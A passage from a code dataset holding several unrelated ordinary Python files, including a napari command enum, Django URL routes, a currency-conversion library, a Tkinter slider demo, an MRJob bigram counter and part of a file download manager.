layers.\n\"\"\"\nfrom enum import Enum\nfrom typing import NamedTuple, Optional\n\nfrom napari.utils.translations import trans\n\n\n# fmt: off\nclass CommandId(str, Enum):\n \"\"\"Id representing a napari command.\"\"\"\n\n # View menubar\n TOGGLE_FULLSCREEN = 'napari:window:view:toggle_fullscreen'\n TOGGLE_MENUBAR = 'napari:window:view:toggle_menubar'\n TOGGLE_PLAY = 'napari:window:view:toggle_play'\n TOGGLE_LAYER_TOOLTIPS = 'napari:window:view:toggle_layer_tooltips'\n TOGGLE_ACTIVITY_DOCK = 'napari:window:view:toggle_activity_dock'\n\n TOGGLE_VIEWER_AXES = 'napari:window:view:toggle_viewer_axes'\n TOGGLE_VIEWER_AXES_COLORED = 'napari:window:view:toggle_viewer_axes_colored'\n TOGGLE_VIEWER_AXES_LABELS = 'napari:window:view:toggle_viewer_axes_labels'\n TOGGLE_VIEWER_AXES_DASHED = 'napari:window:view:toggle_viewer_axesdashed'\n TOGGLE_VIEWER_AXES_ARROWS = 'napari:window:view:toggle_viewer_axes_arrows'\n TOGGLE_VIEWER_SCALE_BAR = 'napari:window:view:toggle_viewer_scale_bar'\n TOGGLE_VIEWER_SCALE_BAR_COLORED = 'napari:window:view:toggle_viewer_scale_bar_colored'\n TOGGLE_VIEWER_SCALE_BAR_TICKS = 'napari:window:view:toggle_viewer_scale_bar_ticks'\n\n # Help menubar\n NAPARI_GETTING_STARTED = 'napari:window:help:getting_started'\n NAPARI_TUTORIALS = 'napari:window:help:tutorials'\n NAPARI_LAYERS_GUIDE = 'napari:window:help:layers_guide'\n NAPARI_EXAMPLES = 'napari:window:help:examples'\n NAPARI_RELEASE_NOTES = 'napari:window:help:release_notes'\n NAPARI_HOMEPAGE = 'napari:window:help:homepage'\n NAPARI_INFO = 'napari:window:help:info'\n NAPARI_GITHUB_ISSUE = 'napari:window:help:github_issue'\n TOGGLE_BUG_REPORT_OPT_IN = 'napari:window:help:bug_report_opt_in'\n\n # Layer menubar\n LAYER_DUPLICATE = 'napari:layer:duplicate'\n LAYER_SPLIT_STACK = 'napari:layer:split_stack'\n LAYER_SPLIT_RGB = 'napari:layer:split_rgb'\n LAYER_MERGE_STACK = 'napari:layer:merge_stack'\n LAYER_TOGGLE_VISIBILITY = 'napari:layer:toggle_visibility'\n\n LAYER_LINK_SELECTED = 'napari:layer:link_selected_layers'\n LAYER_UNLINK_SELECTED = 'napari:layer:unlink_selected_layers'\n LAYER_SELECT_LINKED = 'napari:layer:select_linked_layers'\n\n LAYER_CONVERT_TO_LABELS = 'napari:layer:convert_to_labels'\n LAYER_CONVERT_TO_IMAGE = 'napari:layer:convert_to_image'\n\n LAYER_CONVERT_TO_INT8 = 'napari:layer:convert_to_int8'\n LAYER_CONVERT_TO_INT16 = 'napari:layer:convert_to_int16'\n LAYER_CONVERT_TO_INT32 = 'napari:layer:convert_to_int32'\n LAYER_CONVERT_TO_INT64 = 'napari:layer:convert_to_int64'\n LAYER_CONVERT_TO_UINT8 = 'napari:layer:convert_to_uint8'\n LAYER_CONVERT_TO_UINT16 = 'napari:layer:convert_to_uint16'\n LAYER_CONVERT_TO_UINT32 = 'napari:layer:convert_to_uint32'\n LAYER_CONVERT_TO_UINT64 = 'napari:layer:convert_to_uint64'\n\n LAYER_PROJECT_MAX = 'napari:layer:project_max'\n LAYER_PROJECT_MIN = 'napari:layer:project_min'\n LAYER_PROJECT_STD = 'napari:layer:project_std'\n LAYER_PROJECT_SUM = 'napari:layer:project_sum'\n LAYER_PROJECT_MEAN = 'napari:layer:project_mean'\n LAYER_PROJECT_MEDIAN = 'napari:layer:project_median'\n\n @property\n def title(self) -> str: # type: ignore[override]\n return _COMMAND_INFO[self].title\n\n @property\n def description(self) -> Optional[str]:\n return _COMMAND_INFO[self].description\n\n\nclass _i(NamedTuple):\n \"\"\"simple utility tuple for defining items in _COMMAND_INFO.\"\"\"\n\n title: str\n description: Optional[str] = None\n\n\n_COMMAND_INFO = {\n # View menubar\n CommandId.TOGGLE_FULLSCREEN: _i(trans._('Toggle Full Screen')),\n CommandId.TOGGLE_MENUBAR: _i(trans._('Toggle Menubar Visibility')),\n CommandId.TOGGLE_PLAY: _i(trans._('Toggle Play')),\n CommandId.TOGGLE_LAYER_TOOLTIPS: _i(trans._('Toggle Layer Tooltips')),\n CommandId.TOGGLE_ACTIVITY_DOCK: _i(trans._('Toggle Activity Dock')),\n CommandId.TOGGLE_VIEWER_AXES: _i(trans._('Axes Visible')),\n CommandId.TOGGLE_VIEWER_AXES_COLORED: _i(trans._('Axes Colored')),\n CommandId.TOGGLE_VIEWER_AXES_LABELS: _i(trans._('Axes Labels')),\n CommandId.TOGGLE_VIEWER_AXES_DASHED: _i(trans._('Axes Dashed')),\n CommandId.TOGGLE_VIEWER_AXES_ARROWS: _i(trans._('Axes Arrows')),\n CommandId.TOGGLE_VIEWER_SCALE_BAR: _i(trans._('Scale Bar Visible')),\n CommandId.TOGGLE_VIEWER_SCALE_BAR_COLORED: _i(trans._('Scale Bar Colored')),\n CommandId.TOGGLE_VIEWER_SCALE_BAR_TICKS: _i(trans._('Scale Bar Ticks')),\n\n # Help menubar\n CommandId.NAPARI_GETTING_STARTED: _i(trans._('Getting started')),\n CommandId.NAPARI_TUTORIALS: _i(trans._('Tutorials')),\n CommandId.NAPARI_LAYERS_GUIDE: _i(trans._('Using Layers Guides')),\n CommandId.NAPARI_EXAMPLES: _i(trans._('Examples Gallery')),\n CommandId.NAPARI_RELEASE_NOTES: _i(trans._('Release Notes')),\n CommandId.NAPARI_HOMEPAGE: _i(trans._('napari homepage')),\n CommandId.NAPARI_INFO: _i(trans._('napari Info')),\n CommandId.NAPARI_GITHUB_ISSUE: _i(trans._('Report an issue on GitHub')),\n CommandId.TOGGLE_BUG_REPORT_OPT_IN: _i(trans._('Bug Reporting Opt In/Out...')),\n\n # Layer menubar\n CommandId.LAYER_DUPLICATE: _i(trans._('Duplicate Layer')),\n CommandId.LAYER_SPLIT_STACK: _i(trans._('Split Stack')),\n CommandId.LAYER_SPLIT_RGB: _i(trans._('Split RGB')),\n CommandId.LAYER_MERGE_STACK: _i(trans._('Merge to Stack')),\n CommandId.LAYER_TOGGLE_VISIBILITY: _i(trans._('Toggle visibility')),\n CommandId.LAYER_LINK_SELECTED: _i(trans._('Link Layers')),\n CommandId.LAYER_UNLINK_SELECTED: _i(trans._('Unlink Layers')),\n CommandId.LAYER_SELECT_LINKED: _i(trans._('Select Linked Layers')),\n CommandId.LAYER_CONVERT_TO_LABELS: _i(trans._('Convert to Labels')),\n CommandId.LAYER_CONVERT_TO_IMAGE: _i(trans._('Convert to Image')),\n CommandId.LAYER_CONVERT_TO_INT8: _i(trans._('Convert to int8')),\n CommandId.LAYER_CONVERT_TO_INT16: _i(trans._('Convert to int16')),\n CommandId.LAYER_CONVERT_TO_INT32: _i(trans._('Convert to int32')),\n CommandId.LAYER_CONVERT_TO_INT64: _i(trans._('Convert to int64')),\n CommandId.LAYER_CONVERT_TO_UINT8: _i(trans._('Convert to uint8')),\n CommandId.LAYER_CONVERT_TO_UINT16: _i(trans._('Convert to uint16')),\n CommandId.LAYER_CONVERT_TO_UINT32: _i(trans._('Convert to uint32')),\n CommandId.LAYER_CONVERT_TO_UINT64: _i(trans._('Convert to uint64')),\n CommandId.LAYER_PROJECT_MAX: _i(trans._('Max projection')),\n CommandId.LAYER_PROJECT_MIN: _i(trans._('Min projection')),\n CommandId.LAYER_PROJECT_STD: _i(trans._('Std projection')),\n CommandId.LAYER_PROJECT_SUM: _i(trans._('Sum projection')),\n CommandId.LAYER_PROJECT_MEAN: _i(trans._('Mean projection')),\n CommandId.LAYER_PROJECT_MEDIAN: _i(trans._('Median projection')),\n}\n# fmt: on\n","sub_path":"napari/_app_model/constants/_commands.py","file_name":"_commands.py","file_ext":"py","file_size_in_byte":7145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"27780406","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom rush_app import views\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'rush_2_project.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^save_rushee/$', views.save_rushee),\n url(r'^show_rushees/$', views.show_rushees),\n url(r'^(?P\\d+)/round', views.round_all, name='round_all'),\n url(r'^(?P\\d+)/rushee/(?P\\d+)', views.rushee_profile),\n url(r'^(?P\\d+)/add/(?P\\d+)', views.rushee_add),\n url(r'^(?P\\d+)/mobile/(?P\\d+)', views.mobile_profile),\n url(r'^(?P\\d+)/mobile_round', views.mobile_round_all, name='mobile round_all'),\n url(r'^edit_rushee/(?P\\d+)/(?P\\d+)', views.edit_rushee),\n)\n","sub_path":"rush_2_project/rush_2_project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"594168398","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport eventlet\nfrom activitystreams import Activity\n\nfrom dino import environ\n\n__author__ = 'Oscar Eriksson '\n\n\nclass OnReadHooks(object):\n @staticmethod\n def update_messages(activity: Activity) -> None:\n message_ids = {attachment.id for attachment in activity.object.attachments}\n environ.env.storage.mark_as_read(message_ids, activity.actor.id, activity.target.id)\n\n @staticmethod\n def notify_sender(data: dict, activity: Activity) -> None:\n if 'target' not in data or 'id' not in data['target']:\n return\n\n target_room_id = activity.target.id\n environ.env.emit(\n 'gn_message_read', data, json=True, room=target_room_id,\n broadcast=True, include_self=False, namespace='/ws')\n\n\n@environ.env.observer.on('on_read')\ndef _on_read_notify_sender(arg: tuple) -> None:\n data, activity = arg\n OnReadHooks.notify_sender(data, activity)\n\n\n@environ.env.observer.on('on_read')\ndef _on_read_update_messages(arg: tuple) -> None:\n _, activity = arg\n eventlet.spawn(OnReadHooks.update_messages, activity)\n","sub_path":"dino/hooks/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"436768761","text":"# =======================\n# -*- coding: utf-8 -*-\n# author: LONGFEI XU\n# Try your best\n# ============\nimport os\n\n\nABS_PATH=os.path.dirname(\n os.path.abspath(__file__)\n )\n# 包路径\nbase_few_path='{}/{}'.format(ABS_PATH, 'tools')\n# 输出骑士操作信息路径\noper_info_path = '{}/out/oper_info'.format(ABS_PATH)\noper_info_total_path = '{}/out/oper_info_total'.format(ABS_PATH)\noper_info_test = '{}/out/oper_info_test'.format(ABS_PATH)\n\n# 拉取订单间隔(秒)\norder_time_range = 60\norder_time_count = 60 # 计算dis分布的时间间隔\nchange_rider_Num = 500 # 剩多少订单，可以进入满足10单的要求\nyuding_time_thres = 1550 # 预订单离预期时间剩多久进入派单流程\nyuding_wait = 300 # 预订单不能在这之前完成\nputong_wait = 299 # 大于多少秒算超时\nwait_process_thres = 1100 # 等餐时间过长的订单多少秒开始处理\n\n# 追加订单距离阈值\nadd_weight_dis_thres = 500\n\n# 订单相似度\nsimilar_weight_same_shop_user = 3.1\nsimilar_shop_dis_thres = 500.0 # 商户之间比较近的阈值\nsimilar_weight_shop = 0\nsimilar_user_dis_thres = 500.0 # 用户之间比较近的阈值\nsimilar_weight_user = 0\nsimilar_income_thres = 1000.0 # 空间距离收益阈值\nsimilar_weight_income = 0\nsimilar_weight_cannot_finish = 0 # 合并之后无法完成订单\nsimilar_weight_yuding = -100 # 预订单不进行合并\n\n# 并单最大组合阈值\ncombine_thres = 3\ncombine_score_thres = 3\n\n# 骑士打分权重\nscore_distance = 0\nscore_not_ten = 8\nscore_not_ten_small = 0.2\nscore_exact_finish = 3.1\nscore_time_score = 5.5\nscore_not_same_aoi = 8\nscore_same_aoi_small = 1.9\nscore_order_time = 0\nscore_free = 2\nscore_speed = -0.6\n","sub_path":"20171113_diaodu_best/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"608887185","text":"#coding:utf-8\nimport sys,xlrd,os\n\ndef get_data(path):\t\t\n\td=xlrd.open_workbook(path)\n\tremarks=d.sheet_by_index(0).col_values(0)[1:]\n\treturn remarks\n\ndef main():\n\t_,path,*tags=sys.argv\n\tremarks=get_data(path)\n\tres=write_file(tags,remarks)\n\tprint(res)\n\ndef write_file(tags,remarks):\n\tos.system(\"rm -f tags.html\")\n\twith open(\"tags.html\",'a') as f:\n\t\tf.write(\" \")\n\tfor i in range(1,len(remarks)):\n\t\twith open(\"tags.html\",'a') as f:\n\t\t\tnow_name=str(remarks[i])\n\t\t\tfor j in tags:\n\t\t\t\tif j in now_name:\n\t\t\t\t\tnow_name=now_name.replace(j,''+j+\"\")\n\t\t\tf.write('

'+str(i)+\"\\t\"+now_name+'

')\n\twith open(\"tags.html\",'a') as f:\n\t\tf.write(\"\")\n\treturn True\ndef test():\n\tprint(sys.argv)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"weimei_tags.py","file_name":"weimei_tags.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"449625226","text":"from typing import Sequence, Union, Optional, Any, Mapping\nfrom time import time\nfrom datetime import datetime\n\nfrom pyrates.scraper.scraper import Scraper\nfrom pyrates.rate.rate import Rate\nfrom pyrates.util.file_manager import FileManager\nfrom pyrates.util.constants import Types, Constants\nfrom pyrates.logger.logger import mLogger\n\n\nclass PyRates:\n \"\"\"\n A class to hold methods appropiate for doing currency conversions\n\n Methods:\n\n Convert(fromRate, toRate, amount) -> float\n GetRates() -> Sequence\n GetRate(rate) -> Mapping\n GetRateObjects() -> Sequence\n GetRateObject(rate) -> Rate\n GetTimeString() -> string\n GetTimestamp() -> float\n UpdateRates() -> bool\n GetSupportedCurrencies() -> Mapping\n \"\"\"\n def __init__(self) -> None:\n self.__rates: Sequence[Rate] = []\n self.__dictableRates: Sequence[Types.DictableRate] = []\n self.__timestamp: float = 0\n self.__Init()\n if len(self.__dictableRates) <= 0 or len(self.__rates) <= 0 or self.__timestamp == 0:\n mLogger.critical(f\"PyRatesInitException: {self.__timestamp} {self.__rates} {self.__dictableRates}\")\n raise Exception(\"PyRatesInitError: Failed to initialize. Check '%s/%s' for further inspection.\" % (Constants.logPath, Constants.logFileName))\n\n def Convert(\n self, \n fromRate: Union[str, Rate] = Constants.defaultFrom, \n toRate: Union[str, Rate] = Constants.defaultTo, \n amount: float = Constants.defaultAmount\n ) -> float:\n \"\"\"\n Converts a given amount of fromRate into toRate\n\n Parameters:\n fromRate (str, Rate): Three letter currencycode string or a Rate object, default: \"eur\"\n toRate (str, Rate): Three letter currencycode string or a Rate object, default: \"usd\"\n amount (float) : The amount to convert, default: 1.0\n\n Returns:\n conversion (float) : The amount of fromRate converted into toRate\n \"\"\"\n mFromRate: Optional[Rate]\n mToRate: Optional[Rate]\n if not isinstance(fromRate, Rate):\n mFromRate = Rate.GetRate(fromRate, self.__rates)\n else:\n mFromRate = fromRate\n if not isinstance(toRate, Rate):\n mToRate = Rate.GetRate(toRate, self.__rates)\n else:\n mToRate = toRate\n if isinstance(mFromRate, Rate) and isinstance(mToRate, Rate):\n return mFromRate.Convert(mToRate, amount)\n mLogger.error(f\"PyRatesConversionError: ({amount},{type(amount)}) ({fromRate},{type(fromRate)}) -> ({toRate},{type(toRate)})\")\n print(f\"PyRatesConversionError: Failed to convert {amount} {fromRate} -> {toRate}\")\n return 0\n \n def GetRates(self) -> Sequence[Types.DictableRate]:\n \"\"\"\n Return a sequence of dictionaries with rate information\n\n Returns:\n rates (Sequence) : Sequence of rate dictionaries\n \"\"\"\n return self.__dictableRates\n\n def GetRate(self, rate: str) -> Optional[Types.DictableRate]:\n \"\"\"\n Return a dictionary with the given rate information\n \n Return None if the rate could not be found\n\n Parameters:\n rate (str) : Three letter currencycode string\n\n Returns:\n result (Mapping, None) : Dictionary with given rate information or None\n \"\"\"\n return Rate.GetDictableRate(rate, self.__dictableRates)\n\n def GetRateObjects(self) -> Sequence[Rate]:\n \"\"\"\n Return a sequence of Rate objects\n\n Returns:\n rates (Sequence) : Sequence of Rate objects\n \"\"\"\n return self.__rates\n\n def GetRateObject(self, rate: str) -> Optional[Rate]:\n \"\"\"\n Return a Rate object.\n \n Return None if the rate could not be found.\n\n Parameters:\n rate (str) : Three letter currencycode string\n\n Returns:\n result (Rate, None) : Rate object or None\n \"\"\"\n return Rate.GetRate(rate, self.__rates)\n\n\n def GetTimeString(self) -> str:\n \"\"\"\n Return the timestamp converted into a UTC timestring\n\n Returns:\n timestring (string) : UTC timestring generated from the timestamp representing the last time the rates were updated\n \"\"\"\n return f\"{datetime.utcfromtimestamp(self.__timestamp).strftime('%Y-%m-%d %H:%M:%S')} UTC\"\n\n def GetTimestamp(self) -> float:\n \"\"\"\n Return the current time in seconds since the Epoch. Fractions of a second may be present if the system clock provides them.\n\n Returns:\n timestamp (float) : Floating number representing the last time the rates were updated\n \"\"\"\n return self.__timestamp\n \n def UpdateRates(self) -> bool:\n \"\"\"\n Rates must be older than the 'cacheLimitInSeconds' (default: 1800) value found in util/constants.py in order to update\n\n Return True/False depending upon successful update of rates\n\n Returns:\n result (bool) : Did the rates update?\n \"\"\"\n if self.__RatesWithinLimit(self.__timestamp):\n return False\n self.__UpdateRates()\n return True\n \n def GetSupportedCurrencies(self) -> Mapping[str, str]:\n \"\"\"\n Get a map of all supported currencycodes and their respective country name\n\n Returns:\n currencies (Mapping) : A map of all supported currencies\n \"\"\"\n return Constants.currencies\n \n def __Init(self) -> None:\n \"\"\"\n Run everytime a new instance is created. Find data to be used\n\n If no data can be found or the data that can be found is older than 'cacheLimitInSeconds' (default: 1800),\n \n then new data will be fetched from x-rates using the scraper object\n\n Returns:\n None\n \"\"\"\n data: Optional[Types.File] = FileManager(Constants.dataPath, Constants.dataFileName)\n if data is not None and data[Constants.data] and data[Constants.timestamp]:\n timestamp: Any = data[Constants.timestamp]\n dictData: Any = data[Constants.data]\n if isinstance(timestamp, float) and isinstance(dictData, Sequence) and self.__RatesWithinLimit(timestamp):\n self.__dictableRates = dictData\n self.__timestamp = timestamp\n self.__rates = Rate.GenerateRates(self.__dictableRates)\n return\n self.__UpdateRates()\n\n def __UpdateRates(self) -> None:\n \"\"\"\n Update attributes of class instance and save data locally in a JSON file \n\n Returns:\n None\n \"\"\"\n self.__dictableRates, self.__timestamp = Scraper.ScrapeRates()\n self.__rates = Rate.GenerateRates(self.__dictableRates)\n FileManager(Constants.dataPath, Constants.dataFileName, {Constants.data: self.__dictableRates, Constants.timestamp: self.__timestamp})\n\n def __RatesWithinLimit(self, timestamp: float) -> bool:\n \"\"\"\n Check to see if the rates are within 'cacheLimitInSeconds' (default: 1800)\n\n Return True if so, otherwise return False\n\n Returns:\n result (bool) : Returns a bool representing if rates are within the limit\n \"\"\"\n return abs(time() - timestamp) < Constants.cacheLimitInSeconds\n\n def __repr__(self) -> str:\n return f\"\"\"\nSOURCE: {Constants.source}\nTIME : {self.GetTimeString()}\n\n|==========================================================================|\n| CURRENCY | 1.0 EUR | INV 1.0\n|==========================================================================|\n{\"\".join([rate.GetTableString() for rate in self.__rates if not rate.code.upper() == Constants.defaultFrom.upper()])}\n\"\"\"\n","sub_path":"pyrates/pyrates.py","file_name":"pyrates.py","file_ext":"py","file_size_in_byte":8240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"158602164","text":"T = int(input())\nfor _ in range(T):\n n, k = map(int, input().split())\n nums = list(map(int, input().split()))\n\n initial = 0\n\n for i in range(1, k-1):\n if nums[i+1] < nums[i] > nums[i-1]:\n initial += 1\n\n ans = initial\n l = 0\n for i in range(1, n - k + 1):\n if nums[i+1] < nums[i] > nums[i - 1]:\n initial -= 1\n if nums[i + (k - 1)] < nums[i + k - 2] > nums[i + (k - 3)]:\n initial += 1\n if initial > ans:\n ans = initial\n l = i\n print(ans + 1, l + 1)\n","sub_path":"codeforce/637_div2/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"411065673","text":"from tkinter import *\r\n\r\nroot = Tk()\r\nroot.title(\"Slider Bar\")\r\n# this is to set the default window size\r\nroot.geometry(\"400x400\")\r\n\r\n# 1. this is to create a slider bar of range 0 to 400\r\n# NOTE: do not pack on the same line, e.g. Scale(root, from_=0, to=200).pack(), this would not work as well\r\nvertical = Scale(root, from_=0, to=400)\r\nvertical.pack()\r\n\r\n\r\ndef vertical_slide():\r\n # this is so as to change the vertical height of the root window when the user clicks on the button\r\n root.geometry(\"400x\" + str(vertical.get()))\r\n\r\n\r\nvert_btn = Button(root, text=\"Click Me!\", command=vertical_slide).pack()\r\n\r\n# 2. this is to show a horizontal slider bar\r\nhorizontal = Scale(root, from_=0, to=400, orient=HORIZONTAL)\r\nhorizontal.pack()\r\n\r\n\r\ndef horizontal_slide():\r\n # this is so as to change the horizontal width of the root window when the user clicks on the button\r\n my_label = Label(root, text=horizontal.get()).pack()\r\n root.geometry(str(horizontal.get()) + \"x400\")\r\n\r\n\r\nmy_btn = Button(root, text=\"Click Me!\", command=horizontal_slide).pack()\r\n\r\nroot.mainloop()\r\n","sub_path":"LearningPython-Tkinter/Sider.py","file_name":"Sider.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"300570083","text":"import re\nfrom nltk.stem import RSLPStemmer\n\n\ndef stemmer(df):\n # https://www.datacamp.com/community/tutorials/stemming-lemmatization-python?utm_source=adwords_ppc&utm_campaignid=1455363063&utm_adgroupid=65083631748&utm_device=c&utm_keyword=&utm_matchtype=b&utm_network=g&utm_adpostion=&utm_creative=332602034358&utm_targetid=aud-299261629574:dsa-429603003980&utm_loc_interest_ms=&utm_loc_physical_ms=1001773&gclid=Cj0KCQjws-OEBhCkARIsAPhOkIaz_Gl4LR3zdQUBErnFXQNyFuad-t0PO-0q2KsTqKRgqSNQilO19TcaAgcmEALw_wcB\n # http://www.nltk.org/howto/portuguese_en.html\n stemmer = RSLPStemmer()\n ntxt = []\n for i in df.split():\n ntxt += [stemmer.stem(i)]\n return \" \".join(ntxt)\n\n\ndef remove_symbols(df):\n # removes links\n # https://stackoverflow.com/questions/6718633/python-regular-expression-again-match-url\n df = re.sub(r\"[^@#\\w\\s]\", \"\", df)\n #doesnt remove @, #\n df = re.sub(r\"((http | https)\\: \\/\\/)?[a-zA-Z0-9\\.\\/\\?\\: @\\-_= # ]+\\.([a-zA-Z]){2,6}([a-zA-Z0-9\\.\\&\\/\\?\\:@\\-_=#])*\",\n \"\", df)\n\n return df\n\n\ndef limpa_tudo(df):\n df = remove_symbols(df)\n df = stemmer(df)\n df = df.lower()\n return df\n","sub_path":"se/normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"130399774","text":"import mrjob\r\nfrom mrjob.job import MRJob\r\nfrom mrjob.step import MRStep\r\nimport re\r\nfrom itertools import islice, izip\r\nimport itertools\r\nimport heapq\r\n\r\nWORD_RE = re.compile(r'[a-zA-Z]+')\r\nTOPN = 10\r\nclass BigramCount(MRJob):\r\n def steps(self):\r\n return [\r\n MRStep(mapper=self.mapper_get_words,\r\n combiner=self.combiner_count_words,\r\n reducer=self.reducer_count_words),\r\n MRStep(mapper=self.topN_mapper,\r\n reducer=self.topN_reducer)\r\n ]\r\n \r\n def mapper_get_words(self, _, line):\r\n words = WORD_RE.findall(line)\r\n for i in izip(words, islice(words, 1, None)):\r\n bigram=(i[0],i[1])\r\n s_bigram=sorted(bigram)\r\n yield s_bigram,1\r\n def combiner_count_words(self, bigram, counts):\r\n yield bigram, sum(counts)\r\n def reducer_count_words(self, bigram, counts):\r\n yield bigram,sum(counts)\r\n def topN_mapper(self, bigram, counts):\r\n yield \"Top \" + str(TOPN), (counts, bigram)\r\n def topN_reducer(self, _, countsAndBigrams):\r\n for countAndbigram in heapq.nlargest(TOPN, countsAndBigrams):\r\n yield _, countAndbigram\r\n \r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n BigramCount.run()\r\n \r\n ","sub_path":"Homeworks/Homework5/code/unorderedbiagram.py","file_name":"unorderedbiagram.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"522489067","text":"# Managers to handle overall structures and api calls\n\nimport uuid\nimport hashlib\nimport json\nimport requests\nfrom requests_file import FileAdapter\nimport tempfile\nimport shutil\nimport os\nimport sys\nfrom io import BytesIO\nfrom PIL import Image\nimport validators\nimport base64\nfrom ricecooker import config\nfrom ricecooker.exceptions import InvalidFormatException\nfrom le_utils.constants import file_formats, exercises, format_presets\n\nWEB_GRAPHIE_URL_REGEX = r'web\\+graphie:([^\\)]+)'\nFILE_REGEX = r'!\\[([^\\]]+)?\\]\\(([^\\)]+)\\)'\n\nclass DownloadManager:\n \"\"\" Manager for handling file downloading and storage\n\n Attributes:\n session (Session): session to handle requests\n all_file_extensions ([str]): all accepted file extensions\n files ([str]): files that have been downloaded by download manager\n _file_mapping ([{'filename':{...}]): map from filename to file metadata\n verbose (bool): indicates whether to print what manager is doing (optional)\n \"\"\"\n\n # All accepted file extensions\n all_file_extensions = [key for key, value in file_formats.choices]\n\n def __init__(self, verbose=False):\n # Mount file:// to allow local path requests\n self.session = requests.Session()\n self.session.mount('file://', FileAdapter())\n self.files = []\n self._file_mapping = {} # Used to keep track of files and their respective metadata\n self.verbose = verbose\n\n def get_files(self):\n \"\"\" get_files: get files downloaded by download manager\n Args:None\n Returns: list of downloaded files\n \"\"\"\n return self.files\n\n def get_file_mapping(self):\n \"\"\" get_file_mapping: get file metadata\n Args:None\n Returns: dict of file metadata\n \"\"\"\n return self._file_mapping\n\n def download_graphie(self, path):\n \"\"\" download_graphie: download a web+graphie file\n Args: path (str): path to .svg and .json files\n Returns: the combined hash of graphie files and their filenames\n \"\"\"\n # Initialize paths and hash\n hash = hashlib.md5()\n svg_path = path + \".svg\"\n json_path = path + \"-data.json\"\n\n # Get svg hash\n rsvg = self.session.get(svg_path, stream=True)\n rsvg.raise_for_status()\n hash = self.get_hash(rsvg, hash)\n\n # Combine svg hash with json hash\n rjson = self.session.get(json_path, stream=True)\n rjson.raise_for_status()\n hash = self.get_hash(rjson, hash)\n\n # Download files\n svg_filename = self.download_file(svg_path, hash, '.{}'.format(file_formats.SVG), format_presets.EXERCISE_GRAPHIE, True)\n json_filename = self.download_file(json_path, hash, '-data.{}'.format(file_formats.JSON), format_presets.EXERCISE_GRAPHIE, True)\n\n return hash.hexdigest(), svg_filename, json_filename\n\n def get_hash(self, request, hash_to_update):\n \"\"\" get_hash: generate hash of file\n Args:\n request (request): requested file\n hash_to_update (hash): hash to update based on file\n Returns: updated hash\n \"\"\"\n for chunk in request:\n hash_to_update.update(chunk)\n return hash_to_update\n\n\n def download_image(self, path):\n \"\"\" download_image: downloads image from path\n Args: path (str): local path or url to image file\n Returns: filename of downloaded file\n \"\"\"\n return self.download_file(path)\n\n\n def download_file(self, path, hash=None, default_ext='.{}'.format(file_formats.PNG), preset=None, force_ext=False):\n \"\"\" download_file: downloads file from path\n Args:\n path (str): local path or url to file to download\n hash (hash): hash to use for filename (optional)\n default_ext (str): extension to use if none given (optional)\n preset (str): preset to use (optional)\n force_ext (bool): force manager to use default extension (optional)\n Returns: filename of downloaded file\n \"\"\"\n # Access path\n r = self.session.get(path, stream=True)\n r.raise_for_status()\n\n # Get extension of file or default if none found\n extension = path.split(\".\")[-1].lower()\n if force_ext or extension not in self.all_file_extensions:\n extension = default_ext\n else:\n extension = \".\" + extension\n\n # Write file to temporary file\n with tempfile.TemporaryFile() as tempf:\n # If a hash was not provided, generate hash during write process\n if hash is None:\n hash = hashlib.md5()\n for chunk in r:\n hash.update(chunk)\n tempf.write(chunk)\n # Otherwise, just write the file\n else:\n for chunk in r:\n tempf.write(chunk)\n\n # Get file metadata (hashed filename, original filename, size)\n hashstring = hash.hexdigest()\n original_filename = path.split(\"/\")[-1].split(\".\")[0]\n filename = '{0}{ext}'.format(hashstring, ext=extension)\n file_size = tempf.tell()\n tempf.seek(0)\n\n # Keep track of downloaded file\n self.files += [filename]\n self._file_mapping.update({filename : {\n 'original_filename': original_filename,\n 'source_url': path,\n 'size': file_size,\n 'preset':preset,\n }})\n\n # Write file to local storage\n with open(config.get_storage_path(filename), 'wb') as destf:\n shutil.copyfileobj(tempf, destf)\n\n if self.verbose:\n print(\"\\tDownloaded '{0}' to {1}\".format(original_filename, filename))\n\n return filename\n\n\n def download_files(self,files):\n \"\"\" download_files: download list of files\n Args: files ([str]): list of file paths or urls to download\n Returns: list of downloaded filenames\n \"\"\"\n file_list = []\n for f in files:\n file_data = f.split('/')[-1]\n file_list += [self.download_file(f)]\n return file_list\n\n def encode_thumbnail(self, thumbnail):\n \"\"\" encode_thumbnail: gets base64 encoding of thumbnail\n Args:\n thumbnail (str): file path or url to channel's thumbnail\n 